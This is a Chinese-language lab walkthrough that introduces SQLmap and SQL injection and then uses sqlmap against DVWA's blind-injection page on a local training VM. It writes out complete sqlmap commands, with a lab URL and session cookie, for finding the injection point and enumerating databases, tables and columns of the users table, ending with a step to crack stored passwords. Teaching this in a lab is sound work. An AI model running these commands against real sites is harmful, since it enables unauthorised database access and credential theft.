利用SQLmap实现 SQL 注入

SQLmap

  • SQLmap简介
  • SQL 注入简介
  • 利用SQLmap实现 SQL 注入
    • 环境准备
    • 利用SQLmap实现 SQL 注入案例
      • 1.输入数字后提交
      • 2.使用开发者工具为后续工作做准备
      • 3.输入命令来实现绕过登录页面
      • 4.为了查看有哪些数据库
      • 5.为了查看有当前数据库
      • 6.为了查看数据库中所有的表
      • 7.为了查看users表中有哪些列
      • 8.爆破表中user和password这两列

SQLmap简介

SQLMAP是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL和SQL注入漏洞,其广泛的功能和选项包括数据库指纹,枚举,数据库提权,访问目标文件系统,并在获取操作权限时执行任意命令。

SQLMAP是开源的自动化SQL注入工具,由Python写成,具有如下特点:

  1. 完全支持MySQL、Oracle、PostgreSQL、MSSQL、Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
  2. 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
  3. 在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
  4. 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列
  5. 支持自动识别密码哈希格式并通过字典破解密码哈希。
  6. 支持完全地下载某个数据库中的某个表、也可以只下载某个表中的某几列。
  7. 支持在数据库管理系统中搜索指定的数据库名、表名和列名
  8. 当数据库管理系统是MySQL、PostgreSQL或者MSSQL时支持下载或上传文件。
  9. 当数据库管理系统是MySQL、PostgreSQL或者MSSQL时支持执行任意命令并回显标准输出。

SQL 注入简介

SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一。大家也许都听过某某学长通过攻击学校数据库修改自己成绩的事情,这些学长们一般用的就是SQL注入方法。

SQL注入其实就是恶意用户通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的过程。简单来说,就是数据「越俎代庖」做了代码才能干的事情。

这个问题的来源是,SQL数据库的操作是通过SQL语句来执行的,而无论是执行代码还是数据项都必须写在SQL语句之中,这就导致如果我们在数据项中加入了某些SQL语句关键字(比如说SELECT、DROP等等),这些关键字就很可能在数据库写入或读取数据时得到执行。

利用SQLmap实现 SQL 注入

环境准备

  1. 开启OWASP靶机和Kali虚拟机
  2. kali中登陆dvwa(用户名和密码都是 admin),进入 SQL Injection(Blind)页面,安全等级调为low

利用SQLmap实现 SQL 注入_第1张图片

利用SQLmap实现 SQL 注入案例

1.输入数字后提交

随意输入一个数字,如将ID输入为:1,然后单击“提交”。在浏览器地址栏复制URL

利用SQLmap实现 SQL 注入_第2张图片

2.使用开发者工具为后续工作做准备

F12打开开发者工具,选中Storage(存储)选项卡,找到cookies,复制其中的PHPSESSID的值(获取cookies,为之后绕过登录页面做准备)

利用SQLmap实现 SQL 注入_第3张图片

3.输入命令来实现绕过登录页面

由于浏览器提交方式为get型,sqlmap采用-u命令。将刚才复制的URL和COOKIE写入命令:

sqlmap -u “http://192.168.11.131/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=iavdr5g5koni1thuqk78ldji17” --batch

(使用sqlmap进行get型注入,cookie用来绕过登录页面)
复制cookie值后,排成如下格式:
security=low;PHPSESSID=glp39jv1sjcs2gbem1pu105hu2

在这里插入图片描述

可以获取到注入点:

利用SQLmap实现 SQL 注入_第4张图片

4.为了查看有哪些数据库

输入命令:

sqlmap -u “http://192.168.11.131/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=iavdr5g5koni1thuqk78ldji17” --batch --dbs

利用SQLmap实现 SQL 注入_第5张图片

5.为了查看有当前数据库

输入命令:
sqlmap -u “http://192.168.11.131/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=iavdr5g5koni1thuqk78ldji17” --batch --current-db

利用SQLmap实现 SQL 注入_第6张图片

6.为了查看数据库中所有的表

输入命令:
sqlmap -u “http://192.168.11.131/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=iavdr5g5koni1thuqk78ldji17” --batch -D dvwa --tables
利用SQLmap实现 SQL 注入_第7张图片

7.为了查看users表中有哪些列

输入命令:
sqlmap -u “http://192.168.11.131/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=iavdr5g5koni1thuqk78ldji17” --batch -D dvwa -T users --columns
利用SQLmap实现 SQL 注入_第8张图片

8.爆破表中user和password这两列

利用SQLmap实现 SQL 注入_第9张图片

你可能感兴趣的:(sql)